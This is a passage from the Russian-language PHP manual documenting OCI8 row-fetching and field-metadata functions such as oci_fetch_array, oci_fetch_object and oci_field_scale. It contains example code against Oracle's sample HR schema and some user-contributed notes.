$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS))) {
echo $row['ID'] . "<br>\n";
echo $row['DESCRIPTION'] . "<br>\n"; // содержит весь DESCRIPTION
// В цикле, очищение больших переменных перед повторным получением данных, уменьшает пиковое потребление памяти PHP
unset($row);
}

// Выведет:
// 1
// A very long string

oci_free_statement($stid);
oci_close($conn);

?>

Пример #6 oci_fetch_array() с регистрозависимыми названиями полей

<?php

/*
Перед выполнением создайте таблицу:
CREATE TABLE mytab ("Name" VARCHAR2(20), city VARCHAR2(20));
INSERT INTO mytab ("Name", city) values ('Chris', 'Melbourne');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'select * from mytab');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

// Так как 'Name' было создан как регистрозависимое поле, то
// те же регисты символов используются для индексов массива.
// Тем не менее для 'CITY' должен использоваться индекс в верхнем регистре.
print $row['Name'] . "<br>\n"; // выведет Chris
print $row['CITY'] . "<br>\n"; // выведет Melbourne

oci_free_statement($stid);
oci_close($conn);

?>

Пример #7 oci_fetch_array() с полями с одинаковыми названиями

<?php

/*
Перед выполнением создайте таблицу:
CREATE TABLE mycity (id NUMBER, name VARCHAR2(20));
INSERT INTO mycity (id, name) values (1, 'Melbourne');
CREATE TABLE mycountry (id NUMBER, name VARCHAR2(20));
INSERT INTO mycountry (id, name) values (1, 'Australia');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT mycity.name, mycountry.name
FROM mycity, mycountry
WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
var_dump($row);

// Выведет только одну записаь "NAME":
// array(1) {
// ["NAME"]=>
// string(9) "Australia"
// }

// Для получения полей с повторяющимся названием используйте SQL псевдонимы (alias) для полей. Например "AS ctnm":
$sql = 'SELECT mycity.name AS ctnm, mycountry.name
FROM mycity, mycountry
WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
var_dump($row);

// Выведет записи из обоих полей:
// array(2) {
// ["CTNM"]=>
// string(9) "Melbourne"
// ["NAME"]=>
// string(9) "Australia"
// }

oci_free_statement($stid);
oci_close($conn);

?>

Пример #8 oci_fetch_array() с полями DATE

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Устанавливаем формат даты для данного соединения.
// Для повышения производительности вместо этого
// используйте изменение формата в триггере или переменной окружения.
$stid = oci_parse($conn, "ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD'");
oci_execute($stid);

$stid = oci_parse($conn, 'SELECT hire_date FROM employees WHERE employee_id = 188');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
echo $row['HIRE_DATE'] . "<br>\n"; // выведет 1997-06-14

oci_free_statement($stid);
oci_close($conn);

?>

Пример #9 oci_fetch_array() с REF CURSOR

<?php
/*
Создайте PL/SQL хранимую процедуру:

CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
BEGIN
OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Выполняет вовзращенный REF CURSOR и получает его в виде идентификатора выражения
oci_execute($refcur);
echo "<table border='1'>\n";
while (($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

Пример #10 Постраничный вывод с помощью oci_fetch_array() используя LIMIT-подобный запрос

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Определяем версию базы данных
preg_match('/Release ([0-9]+)\./', oci_server_version($conn), $matches);
$oracleversion = $matches[1];

// Запрос, который необходимо сделать "постраничным"
$sql = 'SELECT city, postal_code FROM locations ORDER BY city';

if ($oracleversion >= 12) {
// Используем Oracle 12c OFFSET / FETCH NEXT синтаксис
$sql = $sql . ' OFFSET :offset ROWS FETCH NEXT :numrows ROWS ONLY';
} else {
// Cтарые версии Oracle нуждаются в выборке с помощью подзапроса в $sql.
// Или, если SQL выражение известно на стадии разработки, то с помощью
// функции row_number(). Будьте осторожны и избегайте возможности
// SQL-инъекции при объединении строк в боевом окружении.
$sql = "SELECT * FROM (SELECT a.*, ROWNUM AS my_rnum
FROM ($sql) a
WHERE ROWNUM <= :offset + :numrows)
WHERE my_rnum > :offset";
}

$offset = 0; // skip this many rows
$numrows = 5; // return 5 rows
$stid = oci_parse($conn, $sql);
oci_bind_by_name($stid, ':numrows', $numrows);
oci_bind_by_name($stid, ':offset', $offset);
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC + OCI_RETURN_NULLS)) != false) {
echo $row['CITY'] . " " . $row['POSTAL_CODE'] . "<br>\n";
}

// Выведет:
// Beijing 190518
// Bern 3095
// Bombay 490231
// Geneva 1730
// Hiroshima 6823

oci_free_statement($stid);
oci_close($conn);

?>

Пример #11 oci_fetch_array() c Oracle Database Implicit Result Sets

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Требует OCI8 2.0 (или новее) и Oracle Database 12c (или новее)
// также смотрите oci_get_implicit_resultset()
$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

// Обратите внимание: oci_fetch_all и oci_fetch() нельзя неприменимы здесь
echo "<table>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

// Выведет:
// Beijing 190518
// Bern 3095
// Bombay 490231
// CN
// CH
// IN

oci_free_statement($stid);
oci_close($conn);

?>

Примечания

Замечание:

Индексы ассоциативного массива необходимо приводить в верхний регистр для стандартных полей Oracle, созданных с регистронезависимыми названиями.

Замечание:

Для запросов, возвращающих большое количество рядов, производительность может быть значительно увеличена с помощью увеличения значения опции oci8.default_prefetch или использования oci_set_prefetch().

Замечание:

Функция oci_fetch_array() немного медленней oci_fetch_assoc() или oci_fetch_row(), но более гибкая.

Смотрите также

  • oci_fetch() - Выбирает следующую строку из результата в буфер
  • oci_fetch_all() - Выбирает все строки из результата запроса в двумерный массив
  • oci_fetch_assoc() - Возвращает следующую строку из результата запроса в виде ассоциативного массива
  • oci_fetch_object() - Возвращает следующую строку из результата запроса в виде объекта
  • oci_fetch_row() - Возвращает следующую строку из результата запроса в виде нумерованного массива
  • oci_set_prefetch() - Устанавливает количество строк, которые будут автоматически выбраны в буфер

User Contributed Notes

Maxwell_Smart at ThePentagon dot com 09-Aug-2002 12:29
When using OCI_RETURN_LOBS to get a BFILE (stored with a DIRECTORY) the user needs READ on the DIRECTORY.  (GRANT READ on DIRECTORY <directory name> TO <user>;) Otherwise, you'll get a cryptic error. Warning: OCILobFileOpen: ORA-22285: non-existent directory or file for FILEOPEN operation in ... on line ...
<BR>
The user that CREATEs the DIRECTORY is automatically GRANTed READ WITH THE GRANT OPTION.
junk at netburp dot com 19-Oct-2000 02:39
Here's a clue about rowid.

Don't forget about the oracle functions:

"rowidtochar" and "chartorowid"

"select rowidtochar(rowid) as FOO from table ...."

When you want to pass the rowid in a form or link, that's
the only way to go.


Возвращает следующую строку из результата запроса в виде ассоциативного массива

  • « oci_fetch_array
  • oci_fetch_object »
  • PHP Manual
  • OCI8 Функции
  • Возвращает следующую строку из результата запроса в виде ассоциативного массива

oci_fetch_assoc

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_assoc — Возвращает следующую строку из результата запроса в виде ассоциативного массива

Описание

oci_fetch_assoc(resource $statement): array|false

Возвращает ассоциативный массив, содержащий следующую строку из результата выполнения запроса. Каждый элемент массива соответствует столбцу текущей строки. Эта функция обычно вызывается в цикле, пока не возвращает false, если больше нет строк.

Результат выполнения oci_fetch_assoc() идентичен выполнению oci_fetch_array() с флагом OCI_ASSOC + OCI_RETURN_NULLS.

Список параметров

statement

Корректный идентификатор выражения OCI8, полученный из oci_parse() и исполненный функцией oci_execute(), или идентификатор выражения REF CURSOR.

Возвращаемые значения

Возвращает ассоциативный массив. Если в результате запроса строк больше нет, возвращает false.

Примеры

Пример #1 Пример использования oci_fetch_assoc()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_assoc($stid)) != false) {
echo $row['DEPARTMENT_ID'] . " " . $row['DEPARTMENT_NAME'] . "<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Примечания

Замечание:

Смотрите дополнительные примеры получения строк в oci_fetch_array().

Смотрите также

  • oci_fetch() - Выбирает следующую строку из результата в буфер
  • oci_fetch_all() - Выбирает все строки из результата запроса в двумерный массив
  • oci_fetch_array() - Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива
  • oci_fetch_object() - Возвращает следующую строку из результата запроса в виде объекта
  • oci_fetch_row() - Возвращает следующую строку из результата запроса в виде нумерованного массива

User Contributed Notes

Dawid Krysiak 03-Jan-2014 01:31
Unlike oci_fetch_all(), after using oci_fetch_assoc(), LOB columns (CLOB, BLOB) are NOT returned as strings but as Oci-Lob objects. You have to use Oci-Lob->read() or load() method in order to read column content.
dbernhardt129 at gmail dot com 06-Oct-2010 02:11
Here's a simple example of using the oci_fetch_assoc function for anyone who would like to see it.

<?php
$oconn = oci_connect('ora_user','ora_pass','ora_inst');
if (!$oconn){
  $msg = "Cannot connect to Oracle ".oci_error();
} else {
  $msg = "Connected to Oracle";
}

$select_stmt = "select username from user_table";

$stid = oci_parse($oconn, $select_stmt);
oci_execute($stid);

echo "<table border='1'>\n";

while ($row = oci_fetch_assoc($stid)) {
    echo "<tr>\n";
    echo "<td>". $row["USERNAME"] . "</td>\n";
    echo "</tr>\n";
 }

echo "</table>\n";

oci_free_statement($stid);
oci_close($oconn);
?>

Make sure you capitalize the column name for referencing the item in the associative array.  Of course, this is just a simple example and you might want to do some processing on the data prior to output, but you get the idea here.


Возвращает следующую строку из результата запроса в виде объекта

  • « oci_fetch_assoc
  • oci_fetch_row »
  • PHP Manual
  • OCI8 Функции
  • Возвращает следующую строку из результата запроса в виде объекта

oci_fetch_object

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_object — Возвращает следующую строку из результата запроса в виде объекта

Описание

oci_fetch_object(resource $statement, int $mode = OCI_ASSOC | OCI_RETURN_NULLS): stdClass|false

Возвращает объект, содержащий следующую строку из результата запроса. Имена свойств объекта соответствуют именам столбцов в строке. Эта функция обычно вызывается в цикле пока не возвращает false когда больше нет рядов.

За подробностями по операции отображения типов данных, осуществляемой модулем OCI8, обратитесь к типам данных, поддерживаемых драйвером

Список параметров

statement

Корректный идентификатор выражения OCI8, полученный из oci_parse() и исполненный функцией oci_execute(), или идентификатор выражения REF CURSOR.

Возвращаемые значения

Возвращает объект. Каждое свойство объекта соответствуют именам столбцов в строке. Если в результате запроса больше нет рядов, то возвращает false.

Любой столбец LOB возвращается как дескриптор LOB.

Столбцы DATE возвращаются в виде строк, форматированных в соответствии с текущим форматов даты. Стандартный формат может быть изменён с помощью переменных окружения Oracle, таких как NLS_LANG или с помощью предварительно запущенной ALTER SESSION SET NLS_DATE_FORMAT команды.

Вам не следует забывать о том, что Oracle возвращает имена полей в ВЕРХНЕМ регистре, поэтому имена атрибутов объекта будут также в ВЕРХНЕМ регистре. Используйте функцию var_dump() по отношению к полученному объекту для доступа к атрибутам.

Значения атрибутов соответствуют null для любых NULL полей.

Примеры

Пример #1 Пример использования oci_fetch_object()

<?php

/*
Перед запуском создайте таблицу:
CREATE TABLE mytab (id NUMBER, description VARCHAR2(30));
INSERT INTO mytab (id, description) values (1, 'Fish and Chips');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
// Используйте имена атрибутов в верхнем регистре для каждого столбца Oracle
echo $row->ID . "<br>\n";
echo $row->DESCRIPTION . "<br>\n";
}

// Выведет:
// 1
// Fish and Chips

oci_free_statement($stid);
oci_close($conn);

?>

Пример #2 Пример использования oci_fetch_object() с названиями столбцов в различных регистрах

<?php

/*
Перед запуском создайте таблицу с именем столбца в различных регистрах:
CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, "MyDescription" FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
// Использование имён атрибутов в верхнем регистре для каждого столбца Oracle
echo $row->ID . "<br>\n";
// Использование точного написания для имени столбца с различными регистрами
echo $row->MyDescription . "<br>\n";
}

// Выведет:
// 1
// Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

Пример #3 Пример использования oci_fetch_object() с LOB

<?php

/*
Перед запуском создайте таблицу
CREATE TABLE mytab (id NUMBER, description CLOB);
INSERT INTO mytab (id, description) values (1, 'A very long string');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
echo $row->ID . "<br>\n";
// Таким образом будет выведено первые 11 байт из DESCRIPTION
echo $row->DESCRIPTION->read(11) . "<br>\n";
}

// Выведет:
// 1
// A very long

oci_free_statement($stid);
oci_close($conn);

?>

Смотрите также

  • oci_fetch() - Выбирает следующую строку из результата в буфер
  • oci_fetch_all() - Выбирает все строки из результата запроса в двумерный массив
  • oci_fetch_assoc() - Возвращает следующую строку из результата запроса в виде ассоциативного массива
  • oci_fetch_array() - Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива
  • oci_fetch_row() - Возвращает следующую строку из результата запроса в виде нумерованного массива

User Contributed Notes

juanloman at hilfetech dot com 08-May-2012 08:33
Please note that you can still reference a column that has a very complex name by using the curly syntax as shown in this example:

<?php

$queryStr = 'SELECT COUNT(*) FROM FOOBAR';  //Complex name!
  // parse and exec...
$queryObj = oci_fetch_object($quertStmt);

echo 'Count: ' . $queryObj->{'COUNT(*)'};  //Curly syntax reference

?>


Возвращает следующую строку из результата запроса в виде нумерованного массива

  • « oci_fetch_object
  • oci_fetch »
  • PHP Manual
  • OCI8 Функции
  • Возвращает следующую строку из результата запроса в виде нумерованного массива

oci_fetch_row

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_row — Возвращает следующую строку из результата запроса в виде нумерованного массива

Описание

oci_fetch_row(resource $statement): array|false

Возвращает нумерованный массив, содержащий следующую строку из результата запроса. Каждый массив соответствует столбцу строки. Эта функция обычно вызывается в цикле пока не возвращает false, если в результате запроса больше нет строк.

Вызов oci_fetch_row() аналогичен вызову oci_fetch_array() с флагом OCI_NUM + OCI_RETURN_NULLS.

Список параметров

statement

Корректный идентификатор выражения OCI8, полученный из oci_parse() и исполненный функцией oci_execute(), или идентификатор выражения REF CURSOR.

Возвращаемые значения

Возвращает нумерованный массив. Если в statement больше нет срок возвращает false.

Примеры

Пример #1 Пример использования oci_fetch_row()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_row($stid)) != false) {
echo $row[0] . " " . $row[1] . "<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Примечания

Замечание:

Смотрите oci_fetch_array() для дополнительных примеров результатов запросов.

Смотрите также

  • oci_fetch() - Выбирает следующую строку из результата в буфер
  • oci_fetch_all() - Выбирает все строки из результата запроса в двумерный массив
  • oci_fetch_array() - Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива
  • oci_fetch_assoc() - Возвращает следующую строку из результата запроса в виде ассоциативного массива
  • oci_fetch_object() - Возвращает следующую строку из результата запроса в виде объекта

User Contributed Notes

There are no user contributed notes for this page.


Выбирает следующую строку из результата в буфер

  • « oci_fetch_row
  • oci_field_is_null »
  • PHP Manual
  • OCI8 Функции
  • Выбирает следующую строку из результата в буфер

oci_fetch

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch — Выбирает следующую строку из результата в буфер

Описание

oci_fetch(resource $statement): bool

Выбирает следующую строку из результата запроса во внутренний буфер, доступный с помощью oci_result() или через переменные, заранее определённые с помощью oci_define_by_name().

Смотрите oci_fetch_array() для более детальной информации о выборе данных.

Список параметров

statement

Корректный идентификатор выражения OCI8, полученный из oci_parse() и исполненный функцией oci_execute(), или идентификатор выражения REF CURSOR.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если в результате statement больше нет рядов.

Примеры

Пример #1 Пример использования oci_fetch() с определёнными переменными

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// Определение переменных ДОЛЖНО быть произведено до запуска
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// С каждой выборкой переменные заполняются данными следующего ряда
while (oci_fetch($stid)) {
echo "Идентификатор местоположения $city = $locid<br>\n";
}

// Выведет:
// Идентификатор местоположения Roma = 1000
// Идентификатор местоположения Venice = 1100

oci_free_statement($stid);
oci_close($conn);

?>

Пример #2 Пример использования oci_fetch() с oci_result()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (oci_fetch($stid)) {
echo oci_result($stid, 'LOCATION_ID') . " = ";
echo oci_result($stid, 'CITY') . "<br>\n";
}

// Выведет:
// 1000 = Roma
// 1100 = Venice

oci_free_statement($stid);
oci_close($conn);

?>

Примечания

Замечание:

Не возвращает строки для неявных результирующих наборов в Oracle Database. Используйте вместо данной функции функцию oci_fetch_array().

Смотрите также

  • oci_define_by_name() - Сопоставляет переменную PHP столбцу результата запроса
  • oci_fetch_all() - Выбирает все строки из результата запроса в двумерный массив
  • oci_fetch_array() - Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива
  • oci_fetch_assoc() - Возвращает следующую строку из результата запроса в виде ассоциативного массива
  • oci_fetch_object() - Возвращает следующую строку из результата запроса в виде объекта
  • oci_fetch_row() - Возвращает следующую строку из результата запроса в виде нумерованного массива
  • oci_result() - Возвращает значение поля из результата запроса

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, равняется ли поле в текущем полученном ряду равным null

  • « oci_fetch
  • oci_field_name »
  • PHP Manual
  • OCI8 Функции
  • Проверяет, равняется ли поле в текущем полученном ряду равным null

oci_field_is_null

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_is_null — Проверяет, равняется ли поле в текущем полученном ряду равным null

Описание

oci_field_is_null(resource $statement, string|int $column): bool

Проверяет, является ли значение, переданное в поле column из текущего ряда statement равным null.

Список параметров

statement

Идентификатор допустимого OCI запроса.

column

Может быть порядковый номер поля (начиная с 1) или имя поля.

Возвращаемые значения

Возвращает true, если column равен null, и false если нет.

Примеры

Пример #1 Пример использования oci_field_name()

<?php

// Создайте таблицу:
// CREATE TABLE mytab (c1 NUMBER);
// INSERT INTO mytab VALUES (1);
// INSERT INTO mytab VALUES (NULL);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_RETURN_NULLS)) != false) {
$ncols = oci_num_fields($stid);
for ($col = 1; $col <= $ncols; $col++) {
var_dump(oci_field_is_null($stid, $col));
}
}

// Выведет:
// bool(false)
// bool(true)

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

Raju Joseph [RajuJoseph at usa dot net] 14-Sep-2003 07:36
<?php

// Connect to Oracle database.

//        Username  : Raju
//        Password  : Password
//        Database  : Database_name

  $conn=OCILogon("Raju", "Password", "DATABASE_NAME");
  if ( ! $conn ) {
    echo "Unable to connect: " . var_dump( OCIError() );
    die();
  }

// Select Data...

// DESC[RIBE] COMPANY

//   CompanyID          VARCHAR2(10)
//   CompanyName      VARCHAR2(30)
//   LastUserID           VARCHAR2(15)
//   LastDate              DATE
//

  $query = "SELECT * FROM Company";

  $result = OCIParse($conn, $query);
  OCIExecute($result, OCI_DEFAULT);

while (OCIFetchInto ($result, $row, OCI_ASSOC)) {

// Usage of OCIcolumnisnull()
if (OCIcolumnisnull($result, 'CompanyName')) {

    print ( "<P>" . $row['CompanyID'] . "--->" . "Company Name NOT found !!  " . "<P>"  );
}
else {

    print ("<P>" . $row['CompanyID'] . "--->" . $row['CompanyName'] . "<P>"  );
}
}

// Close connection from Oracle...

  OCILogoff($conn);
?>


Возвращает имя поля из результата запроса

  • « oci_field_is_null
  • oci_field_precision »
  • PHP Manual
  • OCI8 Функции
  • Возвращает имя поля из результата запроса

oci_field_name

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_name — Возвращает имя поля из результата запроса

Описание

oci_field_name(resource $statement, string|int $column): string|false

Возвращает имя поля column из результата запроса.

Список параметров

statement

Идентификатор допустимого OCI запроса.

column

Может быть номером поля (нумерация начинается с 1) или именем.

Возвращаемые значения

Возвращает имя в виде строки или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_field_name()

<?php

// Создайте таблицу:
// CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
// clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // используйте OCI_DESCRIBE_ONLY, если не получаете данных

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
$column_name = oci_field_name($stid, $i);
$column_type = oci_field_type($stid, $i);

echo "<tr>";
echo "<td>$column_name</td>";
echo "<td>$column_type</td>";
echo "</tr>\n";
}

echo "</table>\n";

// Выведет:
// Name Type
// NUMBER_COL NUMBER
// VARCHAR2_COL VARCHAR2
// CLOB_COL CLOB
// DATE_COL DATE

oci_free_statement($stid);
oci_close($conn);

?>

Смотрите также

  • oci_num_fields() - Возвращает количество полей в результате запроса
  • oci_field_type() - Возвращает имя типа поля
  • oci_field_size() - Возвращает размер поля

User Contributed Notes

Norbert 08-Jun-2011 01:50
This does not work for empty tables.
Paul 31-Jul-2010 06:25
Beware, the field index starts with 1, not 0. It's a bit counter-intuitive.


Возвращает точность поля

  • « oci_field_name
  • oci_field_scale »
  • PHP Manual
  • OCI8 Функции
  • Возвращает точность поля

oci_field_precision

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_precision — Возвращает точность поля

Описание

oci_field_precision(resource $statement, string|int $column): int|false

Возвращает точность поля column.

Для полей типа FLOAT точность больше нуля, а масштаб равен -127. Если точность поля равна нулю, то тип поля - NUMBER. Иначе же, тип поля может быть описан как NUMBER(precision, scale).

Список параметров

statement

Идентификатор допустимого OCI запроса.

column

Может быть номером поля (нумерация начинается с 1) или именем.

Возвращаемые значения

Возвращает точность в виде числа или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_field_precision()

<?php

// Создайте таблицу:
// CREATE TABLE mytab (c1 NUMBER, c2 FLOAT, c3 NUMBER(4), c4 NUMBER(5,3));

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // используйте OCI_DESCRIBE_ONLY, если не получаете данных

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
echo oci_field_name($stid, $i) . " "
. oci_field_precision($stid, $i) . " "
. oci_field_scale($stid, $i) . "<br>\n";
}

// Выведет:
// C1 0 -127
// C2 126 -127
// C3 4 0
// C4 5 3

oci_free_statement($stid);
oci_close($conn);

?>

Смотрите также

  • oci_field_scale() - Возвращает масштаб поля
  • oci_field_type() - Возвращает имя типа поля

User Contributed Notes

webmaster at smwebdesigns dot com 15-Oct-2007 05:58
I did not test well before posting previous code.  This if statement works and the other does not.

if( ocicolumnscale($R, $i ) != 129 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}
webmaster at smwebdesigns dot com 11-Oct-2007 12:39
I've found that when using ocicolumnprecision or oci_field_precision it will not show you the decimal places if you are are reading from tables with decimals.  You can use ocicolumnscale or oci_field_scale to find the decimal.

if( ocicolumnscale($R, $i ) > 0 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}


Возвращает масштаб поля

  • « oci_field_precision
  • oci_field_size »
  • PHP Manual
  • OCI8 Функции
  • Возвращает масштаб поля

oci_field_scale

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_scale — Возвращает масштаб поля

Описание

oci_field_scale(resource $statement, string|int $column): int|false

Возвращает масштаб поля под номером column.

Для полей типа FLOAT точность, получаемая с помощью oci_field_precision(), больше нуля, а масштаб равен -127. Если точность поля равна нулю, то тип поля - NUMBER. Иначе же, тип поля может быть описан как NUMBER(precision, scale).

Список параметров

statement

Идентификатор допустимого OCI запроса.

column

Может быть номером поля (нумерация начинается с 1) или именем.

Возвращаемые значения

Возвращает масштаб в виде числа или false в случае возникновения ошибки.

Примеры

Пример #1 oci_field_scale() Example

<?php

// Создайте таблицу:
// CREATE TABLE mytab (c1 NUMBER, c2 FLOAT, c3 NUMBER(4), c4 NUMBER(5,3));

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // используйте OCI_DESCRIBE_ONLY, если не получаете данных

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
echo oci_field_name($stid, $i) . " "
. oci_field_precision($stid, $i) . " "
. oci_field_scale($stid, $i) . "<br>\n";
}

// Выведет:
// C1 0 -127
// C2 126 -127
// C3 4 0
// C4 5 3

oci_free_statement($stid);
oci_close($conn);

?>

Смотрите также

  • oci_field_precision() - Возвращает точность поля
